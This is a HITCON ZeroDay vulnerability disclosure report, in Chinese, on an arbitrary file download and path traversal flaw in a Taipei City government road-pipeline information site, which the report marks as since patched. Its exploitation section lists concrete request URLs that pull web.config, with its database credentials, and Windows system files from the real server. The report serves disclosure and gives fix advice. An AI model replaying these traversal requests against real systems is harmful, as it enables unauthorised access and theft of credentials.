Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00835
- Vendor: 臺北市道路管線暨資訊中心
- Title: 臺北市道路管線暨資訊中心任意檔案下載
- Introduction: 可任意下載檔案
處理狀態
目前狀態
公開
Last Update : 2018/09/16
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2018/06/03 17:41:42 : 新提交 (由 ( ͡° ͜V ͡°) 更新此狀態)
- 2018/06/03 20:21:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/03 20:21:37 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/21 13:40:02 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/21 13:40:03 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/08/03 03:00:19 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2018/08/29 10:51:14 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/08/29 10:59:20 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/09/16 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00835
- 通報者:daiwan (( ͡° ͜V ͡°))
- 風險:中
- 類型:任意檔案下載 (Arbitrary File Download)
參考資料
攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://www.dig.tcg.gov.tw/tpdig/Shell/ShowRefeFile.ashx
敘述
說明
可任意下載伺服器上的檔案,且可跨磁碟、跨目錄。
利用
http://www.dig.tcg.gov.tw/tpdig/Shell/ShowRefeFile.ashx?path=路徑&file=檔名&type=檔案類型
幾個例子
- http://www.dig.tcg.gov.tw/tpdig/Shell/ShowRefeFile.ashx?path=D:\Tpdig2\Shell\&file=ShowRefeFile.ashx&type=pdf
- http://www.dig.tcg.gov.tw/tpdig/Shell/ShowRefeFile.ashx?path=D:\Tpdig2\&file=web.config&type=pdf
- http://www.dig.tcg.gov.tw/tpdig/Shell/ShowRefeFile.ashx?path=C:\Windows\System32\drivers\etc&file=hosts&type=gml
- http://www.dig.tcg.gov.tw/tpdig/Shell/ShowRefeFile.ashx?path=C:\Windows&file=WindowsUpdate.log&type=gml
修補建議
*檢查下載路徑、檔名
*檢查副檔名
*可以的話僅允許下載指定檔案
*加密敏感資訊(如web.config中的資料庫連線帳號、密碼)
*除ShowRefeFile.ashx、建議一併修改web.config中所有帳號、密碼
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。